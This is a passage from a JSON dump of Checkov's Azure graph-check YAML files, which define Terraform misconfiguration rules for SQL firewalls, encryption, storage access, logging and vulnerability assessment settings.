    "content": "metadata:\n  id: \"CKV2_AZURE_34\"\n  name: \"Ensure Azure SQL server firewall is not overly permissive\"\n  category: \"NETWORKING\"\n\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"azurerm_sql_firewall_rule\"\n      - \"azurerm_mssql_firewall_rule\"\n      attribute: \"start_ip_address\"\n      operator: \"not_equals\"\n      value: \"0.0.0.0\"\n\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"azurerm_sql_firewall_rule\"\n      - \"azurerm_mssql_firewall_rule\"\n      attribute: \"end_ip_address\"\n      operator: \"not_equals\"\n      value: \"0.0.0.0\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSpringCloudConfigWithVnet.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_23\"\n  name: \"Ensure Azure spring cloud is configured with Virtual network (Vnet)\"\n  category: \"NETWORKING\"\n\ndefinition:\n  \n  and:\n\n    - cond_type: attribute\n      resource_types: \"azurerm_spring_cloud_service\"\n      attribute: \"sku_name\"\n      operator: \"not_equals_ignore_case\"\n      value: \"B0\"\n\n    - cond_type: attribute\n      resource_types: \"azurerm_spring_cloud_service\"\n      attribute: \"network.service_runtime_subnet_id\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_55\"\n  name: \"Ensure Azure Spring Cloud app end-to-end TLS is enabled\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - azurerm_spring_cloud_service\n      attribute: sku_tier\n      operator: not_exists\n    - cond_type: attribute\n      resource_types:\n        - azurerm_spring_cloud_service\n      attribute: sku_tier\n      operator: equals\n      value: \"Basic\"\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - azurerm_spring_cloud_service\n        operator: within\n      - or:\n        - resource_types:\n            - azurerm_spring_cloud_service\n          connected_resource_types:\n            - azurerm_spring_cloud_app\n          operator: not_exists\n          cond_type: connection\n        - and:\n          - resource_types:\n              - azurerm_spring_cloud_service\n            connected_resource_types:\n              - azurerm_spring_cloud_app\n            operator: exists\n            cond_type: connection\n          - cond_type: attribute\n            resource_types:\n              - azurerm_spring_cloud_app\n            attribute: tls_enabled\n            operator: exists\n          - cond_type: attribute\n            resource_types:\n              - azurerm_spring_cloud_app\n            attribute: tls_enabled\n            operator: is_true\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSqlDbEnableTransparentDataEncryption.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_25\"\n  name: \"Ensure Azure SQL database Transparent Data Encryption (TDE) is enabled\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n\n  cond_type: attribute\n  resource_types: \"azurerm_mssql_database\"\n  attribute: \"transparent_data_encryption_enabled\"\n  operator: \"not_equals\"\n  value: \"false\"\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigSharedKeyAuth.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_40\"\n  name: \"Ensure storage account is not configured with Shared Key authorization\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_storage_account\"\n      attribute: \"shared_access_key_enabled\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_storage_account\"\n      attribute: \"shared_access_key_enabled\"\n      operator: \"equals_ignore_case\"\n      value: \"false\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithPrivateEndpoint.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_33\"\n  name: \"Ensure storage account is configured with private endpoint\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition: \n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_storage_account\"\n\n    - cond_type: \"connection\"\n      resource_types: \n        - \"azurerm_storage_account\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_47\"\n  name: \"Ensure storage account is configured without blob anonymous access\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_storage_account\"\n      attribute: \"allow_nested_items_to_be_public\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_storage_account\"\n      attribute: \"allow_nested_items_to_be_public\"\n      operator: \"equals_ignore_case\"\n      value: \"false\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfig_SAS_expirePolicy.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_41\"\n  name: \"Ensure storage account is configured with SAS expiration policy\"\n  category: \"IAM\"\n\ndefinition:\n  or:\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_storage_account\"\n      attribute: \"shared_access_key_enabled\"\n      operator: \"equals_ignore_case\"\n      value: \"false\"\n\n    - and:\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"shared_access_key_enabled\"\n          operator: \"exists\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"shared_access_key_enabled\"\n          operator: \"equals_ignore_case\"\n          value: \"true\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"sas_policy\"\n          operator: \"exists\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"sas_policy.expiration_period\"\n          operator: \"length_greater_than\"\n          value: \"0\"\n\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureStorageAccountEnableSoftDelete.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_38\"\n  name: \"Ensure soft-delete is enabled on Azure storage account\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - or:\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"blob_properties.delete_retention_policy.days\"\n          operator: \"greater_than\"\n          value: 0\n\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"blob_properties.delete_retention_policy\"\n          operator: \"exists\"\n\n    - or:\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"account_kind\"\n          operator: \"not_exists\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_storage_account\"\n          attribute: \"account_kind\"\n          operator: \"not_equals_ignore_case\"\n          value: \"FileStorage\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSubnetConfigWithNSG.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_31\"\n  name: \"Ensure VNET subnet is configured with a Network Security Group (NSG)\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  or:\n\n  # Check if subnet & NSG are connected and present in the\n  # \"azurerm_subnet_network_security_group_association\" block\n    - and:\n      - cond_type: \"filter\"\n        attribute: \"resource_type\"\n        operator: \"within\"\n        value:\n          - \"azurerm_subnet\"\n      - cond_type: \"connection\"\n        resource_types:\n          - \"azurerm_subnet\"\n        connected_resource_types:\n          - \"azurerm_network_security_group\"\n          - \"azurerm_subnet_network_security_group_association\"\n        operator: \"exists\"\n\n  # Ignore if subnet name is \"GatewaySubnet\" or \"AzureFirewallSubnet\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_subnet\"\n      attribute: \"name\"\n      operator: \"equals_ignore_case\"\n      value: \"GatewaySubnet\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_subnet\"\n      attribute: \"name\"\n      operator: \"equals_ignore_case\"\n      value: \"AzureFirewallSubnet\"\n\n  # Ignore if service_delegation equals \"Microsoft.Netapp/volumes\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_subnet\"\n      attribute: \"delegation.service_delegation.name\"\n      operator: \"equals_ignore_case\"\n      value: \"Microsoft.Netapp/volumes\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_46\"\n  name: \"Ensure that Azure Synapse Workspace vulnerability assessment is enabled\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n    and:\n      - resource_types:\n          - azurerm_synapse_workspace_security_alert_policy\n        connected_resource_types:\n          - azurerm_synapse_workspace\n        operator: exists\n        cond_type: connection\n\n      - resource_types:\n          - azurerm_synapse_workspace_vulnerability_assessment\n        connected_resource_types:\n          - azurerm_synapse_workspace_security_alert_policy\n        operator: exists\n        cond_type: connection\n\n      - cond_type: attribute\n        resource_types:\n          - azurerm_synapse_workspace_vulnerability_assessment\n        attribute: 'recurring_scans.*.enabled'\n        operator: equals\n        value: true\n\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - azurerm_synapse_workspace_vulnerability_assessment\n        operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_19\"\n  name: \"Ensure that Azure Synapse workspaces have no IP firewall rules attached\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_synapse_workspace\n      connected_resource_types:\n        - azurerm_synapse_firewall_rule\n      operator:  not_exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_synapse_workspace\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_14\"\n  name: \"Ensure that Unattached disks are encrypted\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_virtual_machine\n      operator: within\n    - or:\n      - resource_types:\n          - azurerm_virtual_machine\n        connected_resource_types:\n          - azurerm_managed_disk\n        operator:  not_exists\n        cond_type: connection\n      - and:\n        - resource_types:\n            - azurerm_virtual_machine\n          connected_resource_types:\n            - azurerm_managed_disk\n          operator:  exists\n          cond_type: connection\n        - or:\n            - cond_type: attribute\n              operator: exists\n              attribute: disk_encryption_set_id\n              resource_types:\n                - azurerm_managed_disk\n            - and:\n                - cond_type: attribute\n                  operator: exists\n                  attribute: encryption_settings\n                  resource_types:\n                    - azurerm_managed_disk\n                - cond_type: attribute\n                  operator: not_equals\n                  attribute: encryption_settings.enabled\n                  value: false\n                  resource_types:\n                    - azurerm_managed_disk\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_39\"\n\n  name: \"Ensure Azure VM is not configured with public IP and serial console access\"\n  category: \"NETWORKING\"\n\ndefinition:\n  or:\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          value:\n            - azurerm_network_interface\n          operator: within\n\n        - resource_types:\n            - azurerm_network_interface\n          connected_resource_types:\n            - azurerm_linux_virtual_machine\n            - azurerm_windows_virtual_machine\n            - azurerm_virtual_machine\n          operator: exists\n          cond_type: connection\n\n        - cond_type: attribute\n          resource_types:\n             - azurerm_network_interface\n          attribute: ip_configuration.public_ip_address_id\n          operator: length_greater_than\n          value: 0\n\n        - cond_type: attribute\n          resource_types:\n            - azurerm_linux_virtual_machine\n            - azurerm_windows_virtual_machine\n            - azurerm_virtual_machine\n          attribute: boot_diagnostics\n          operator: not_exists\n\n    - cond_type: attribute\n      resource_types:\n        - azurerm_network_interface\n      attribute: ip_configuration.public_ip_address_id\n      operator: not_exists\n\n    - cond_type: attribute\n      resource_types:\n        - azurerm_network_interface\n      attribute: ip_configuration.public_ip_address_id\n      operator: length_less_than_or_equal\n      value: 0\n\n    - cond_type: attribute\n      resource_types:\n        - azurerm_network_interface\n      attribute: ip_configuration.public_ip_address_id\n      operator: equals\n      value: null\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_22\"\n  name: \"Ensure that Cognitive Services enables customer-managed key for encryption\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_cognitive_account\n      connected_resource_types:\n        - azurerm_cognitive_account_customer_managed_key\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_cognitive_account_customer_managed_key\n      connected_resource_types:\n        - azurerm_key_vault_key\n      operator:  exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_cognitive_account\n      operator: within"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/DataExplorerEncryptionUsesCustomKey.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_11\"\n  name: \"Ensure that Azure Data Explorer encryption at rest uses a customer-managed key\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_kusto_cluster\n      connected_resource_types:\n        - azurerm_kusto_cluster_customer_managed_key\n      operator:  exists\n      attribute: networking\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_kusto_cluster\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_48\"\n  name: \"Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption\"\n  category: \"ENCRYPTION\"\ndefinition:\n  or:\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - azurerm_databricks_workspace\n      - resource_types:\n          - azurerm_databricks_workspace\n        operator: not_equals\n        cond_type: attribute\n        attribute: sku\n        value: \"premium\"\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - azurerm_databricks_workspace\n        - resource_types:\n            - azurerm_databricks_workspace\n          operator: equals\n          cond_type: attribute\n          attribute: sku\n          value: \"premium\"\n        - resource_types:\n            - azurerm_databricks_workspace\n          operator: equals\n          cond_type: attribute\n          attribute: customer_managed_key_enabled\n          value: true\n        - resource_types:\n            - azurerm_databricks_workspace\n          connected_resource_types:\n            - azurerm_databricks_workspace_root_dbfs_customer_managed_key\n          operator: exists\n          cond_type: connection\n\n# Root DBFS encryption is only valid if the Databricks Workspace sku is set to 'premium'.\n# https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/databricks_workspace#customer_managed_key_enabled"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_16\"\n  name: \"Ensure that MySQL server enables customer-managed key for encryption\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_mysql_server\n      connected_resource_types:\n        - azurerm_mysql_server_key\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_mysql_server_key\n      connected_resource_types:\n        - azurerm_key_vault_key\n      operator:  exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_mysql_server\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_17\"\n  name: \"Ensure that PostgreSQL server enables customer-managed key for encryption\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_postgresql_server\n      connected_resource_types:\n        - azurerm_postgresql_server_key\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_postgresql_server_key\n      connected_resource_types:\n        - azurerm_key_vault_key\n      operator:  exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_postgresql_server_key\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_23\"\n  name: \"Ensure that 'Auditing' is set to 'On' for SQL servers\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_sql_server\n        - azurerm_mssql_server\n      operator: within\n    - or:\n        - cond_type: attribute\n          resource_types:\n            - azurerm_sql_server\n            - azurerm_mssql_server\n          attribute: extended_auditing_policy\n          operator: exists\n        - and:\n            - cond_type: filter\n              attribute: resource_type\n              value:\n                - azurerm_mssql_server\n              operator: within\n            - cond_type: attribute\n              resource_types:\n                - azurerm_mssql_server_extended_auditing_policy\n              attribute: server_id\n              operator: exists\n            - cond_type: connection\n              resource_types:\n                - azurerm_mssql_server_extended_auditing_policy\n              connected_resource_types:\n                - azurerm_mssql_server\n              operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_24\"\n  name: \"Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_sql_server\n        - azurerm_mssql_server\n      operator: within\n    - or:\n        - cond_type: attribute\n          resource_types:\n            - azurerm_sql_server\n            - azurerm_mssql_server\n          attribute: \"extended_auditing_policy.*.retention_in_days\"\n          operator: greater_than_or_equal\n          value: 90\n        - and:\n            - cond_type: filter\n              attribute: resource_type\n              value:\n                - azurerm_mssql_server\n              operator: within\n            - cond_type: attribute\n              resource_types:\n                - azurerm_mssql_server_extended_auditing_policy\n              attribute: \"retention_in_days\"\n              operator: greater_than_or_equal\n              value: 90\n            - cond_type: connection\n              resource_types:\n                - azurerm_mssql_server_extended_auditing_policy\n              connected_resource_types:\n                - azurerm_mssql_server\n              operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml",
    "content": "metadata:\n  name: \"Ensure the storage container storing the activity logs is not publicly accessible\"\n  id: \"CKV2_AZURE_8\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - azurerm_storage_container\n        operator: within\n\n      - cond_type: connection\n        resource_types:\n          - azurerm_storage_container\n        connected_resource_types:\n          - azurerm_storage_account\n        operator: exists\n\n      - or:\n        - cond_type: connection\n          resource_types:\n            - azurerm_storage_account\n          connected_resource_types:\n            - azurerm_monitor_activity_log_alert\n          operator: not_exists\n\n        - and:\n          - cond_type: connection\n            resource_types:\n              - azurerm_storage_account\n            connected_resource_types:\n              - azurerm_monitor_activity_log_alert\n            operator: exists\n\n          - cond_type: attribute\n            resource_types:\n              - azurerm_monitor_activity_log_alert\n            attribute: enabled\n            operator: equals\n            value: false\n\n    - or:\n        - cond_type: attribute\n          resource_types:\n            - azurerm_storage_container\n          attribute: container_access_type\n          operator: not_exists\n\n        - cond_type: attribute\n          resource_types:\n            - azurerm_storage_container\n          attribute: container_access_type\n          operator: equals\n          value: private"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/StorageCriticalDataEncryptedCMK.yaml",
    "content": "metadata:\n  name: \"Ensure storage for critical data are encrypted with Customer Managed Key\"\n  id: \"CKV2_AZURE_1\"\n  category: \"ENCRYPTION\"\ndefinition:\n  or:\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          value:\n            - azurerm_storage_account\n          operator: within\n        - cond_type: connection\n          resource_types:\n            - azurerm_storage_account\n          connected_resource_types:\n            - azurerm_storage_account_customer_managed_key\n          operator: exists\n    - resource_types:\n        - azurerm_storage_account\n      operator:  exists\n      cond_type: attribute\n      attribute: customer_managed_key.key_vault_key_id\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_21\"\n  name: \"Ensure Storage logging is enabled for Blob service for read requests\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_storage_container\n      connected_resource_types:\n        - azurerm_storage_account\n      operator: exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_storage_account\n      connected_resource_types:\n        - azurerm_log_analytics_storage_insights\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_log_analytics_storage_insights\n      operator:  exists\n      cond_type: attribute\n      attribute: blob_container_names\n    - resource_types:\n        - azurerm_storage_container\n      operator: within\n      cond_type: attribute\n      attribute: container_access_type\n      value:\n        - \"private\"\n        - \"blob\"\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_storage_container\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_20\"\n  name: \"Ensure Storage logging is enabled for Table service for read requests\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_storage_table\n      connected_resource_types:\n        - azurerm_storage_account\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_storage_account\n      connected_resource_types:\n        - azurerm_log_analytics_storage_insights\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_log_analytics_storage_insights\n      operator:  exists\n      cond_type: attribute\n      attribute: table_names\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_storage_table\n      operator: within\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_54\"\n  name: \"Ensure log monitoring is enabled for Synapse SQL Pool\"\n  category: \"LOGGING\"\n\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - azurerm_synapse_sql_pool\n      connected_resource_types:\n        - azurerm_synapse_sql_pool_extended_auditing_policy\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_synapse_sql_pool\n      operator: within\n\n    - or:\n      - and:\n        - cond_type: attribute\n          resource_types:\n            - azurerm_synapse_sql_pool_extended_auditing_policy\n          attribute: log_monitoring_enabled\n          operator: exists\n\n        - cond_type: attribute\n          resource_types:\n            - azurerm_synapse_sql_pool_extended_auditing_policy\n          attribute: log_monitoring_enabled\n          operator: equals\n          value: true\n\n      - cond_type: attribute\n        resource_types:\n          - azurerm_synapse_sql_pool_extended_auditing_policy\n        attribute: log_monitoring_enabled\n        operator: not_exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_51\"\n  name: \"Ensure Synapse SQL Pool has a security alert policy\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - azurerm_synapse_sql_pool\n      connected_resource_types:\n        - azurerm_synapse_sql_pool_security_alert_policy\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - azurerm_synapse_sql_pool_security_alert_policy\n      attribute: 'policy_state'\n      operator: equals\n      value: 'Enabled'\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_synapse_sql_pool\n      operator: within"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_52\"\n  name: \"Ensure Synapse SQL Pool has vulnerability assessment attached\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_synapse_sql_pool\n      connected_resource_types:\n        - azurerm_synapse_sql_pool_security_alert_policy\n      operator: exists\n      cond_type: connection\n    - resource_types:\n        - azurerm_synapse_sql_pool_security_alert_policy\n      connected_resource_types:\n        - azurerm_synapse_sql_pool_vulnerability_assessment\n      operator: exists\n      cond_type: connection\n    - cond_type: attribute\n      resource_types:\n        - azurerm_synapse_sql_pool_vulnerability_assessment\n      attribute: 'recurring_scans.*.enabled'\n      operator: equals\n      value: true\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_synapse_sql_pool_security_alert_policy\n      operator: within\n\n    "
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/SynapseWorkspaceHasExtendedAuditLogs.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_53\"\n  name: \"Ensure Azure Synapse Workspace has extended audit logs\"\n  category: \"LOGGING\"\n\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_synapse_workspace\n      operator: within\n    - cond_type: connection\n      resource_types:\n        - azurerm_synapse_workspace\n      connected_resource_types:\n        - azurerm_synapse_workspace_extended_auditing_policy\n      operator: exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml",
    "content": "metadata:\n  name: \"Ensure Azure SQL server ADS VA Send scan reports to is configured\"\n  id: \"CKV2_AZURE_4\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n      and:\n        - or:\n          - resource_types:\n            - azurerm_sql_server\n            connected_resource_types:\n            - azurerm_mssql_server_security_alert_policy\n            operator:  exists\n            cond_type: connection\n          - resource_types:\n            - azurerm_mssql_server\n            connected_resource_types:\n            - azurerm_mssql_server_security_alert_policy\n            operator:  exists\n            cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - \"azurerm_mssql_server_security_alert_policy\"\n          attribute: state\n          operator: equals\n          value: Enabled\n        - resource_types:\n            - azurerm_mssql_server_security_alert_policy\n          connected_resource_types:\n            - azurerm_mssql_server_vulnerability_assessment\n          operator:  exists\n          cond_type: connection\n        - or :\n          - cond_type: attribute\n            resource_types:\n              - azurerm_mssql_server_vulnerability_assessment\n            attribute: 'recurring_scans.*.email_subscription_admins'\n            operator:  equals\n            value: true\n          - cond_type: attribute\n            resource_types:\n              - azurerm_mssql_server_vulnerability_assessment\n            attribute: 'recurring_scans.emails'\n            operator:  exists\n        - cond_type: filter\n          attribute: resource_type\n          value:\n            - azurerm_mssql_server_vulnerability_assessment\n          operator: within\n        \n       \n\n  \n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml",
    "content": "metadata:\n  name: \"Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server\"\n  id: \"CKV2_AZURE_5\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n      and:\n        - or:\n          - resource_types:\n            - azurerm_sql_server\n            connected_resource_types:\n            - azurerm_mssql_server_security_alert_policy\n            operator:  exists\n            cond_type: connection\n          - resource_types:\n            - azurerm_mssql_server\n            connected_resource_types:\n            - azurerm_mssql_server_security_alert_policy\n            operator:  exists\n            cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - \"azurerm_mssql_server_security_alert_policy\"\n          attribute: state\n          operator: equals\n          value: Enabled   \n        - resource_types:\n            - azurerm_mssql_server_security_alert_policy\n          connected_resource_types:\n            - azurerm_mssql_server_vulnerability_assessment\n          operator:  exists\n          cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - azurerm_mssql_server_vulnerability_assessment \n          attribute: 'recurring_scans.*.email_subscription_admins'\n          operator:  equals\n          value: true\n        - cond_type: attribute\n          resource_types:\n            - azurerm_mssql_server_vulnerability_assessment \n          attribute: 'recurring_scans.*.emails'\n          operator:  exists\n        - cond_type: filter\n          attribute: resource_type\n          value:\n            - azurerm_mssql_server_vulnerability_assessment\n          operator: within\n        \n       \n\n  \n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml",
    "content": "metadata:\n  name: \"Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account\"\n  id: \"CKV2_AZURE_2\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_sql_server\n        - azurerm_mssql_server\n      operator: within\n    - resource_types:\n        - azurerm_sql_server\n        - azurerm_mssql_server\n      connected_resource_types:\n        - azurerm_mssql_server_security_alert_policy\n      operator:  exists\n      cond_type: connection\n    - cond_type: attribute\n      resource_types:\n        - \"azurerm_mssql_server_security_alert_policy\"\n      attribute: state\n      operator: equals\n      value: Enabled\n   \n    \n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml",
    "content": "metadata:\n  name: \"Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server\"\n  id: \"CKV2_AZURE_3\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n    and:\n        - or:\n          - resource_types:\n            - azurerm_sql_server\n            connected_resource_types:\n            - azurerm_mssql_server_security_alert_policy\n            operator:  exists\n            cond_type: connection\n          - resource_types:\n            - azurerm_mssql_server\n            connected_resource_types:\n            - azurerm_mssql_server_security_alert_policy\n            operator:  exists\n            cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - \"azurerm_mssql_server_security_alert_policy\"\n          attribute: state\n          operator: equals\n          value: Enabled   \n        - resource_types:\n            - azurerm_mssql_server_security_alert_policy\n          connected_resource_types:\n            - azurerm_mssql_server_vulnerability_assessment\n          operator:  exists\n          cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - azurerm_mssql_server_vulnerability_assessment \n          attribute: 'recurring_scans.*.enabled'\n          operator:  equals\n          value: true\n        - cond_type: filter\n          attribute: resource_type\n          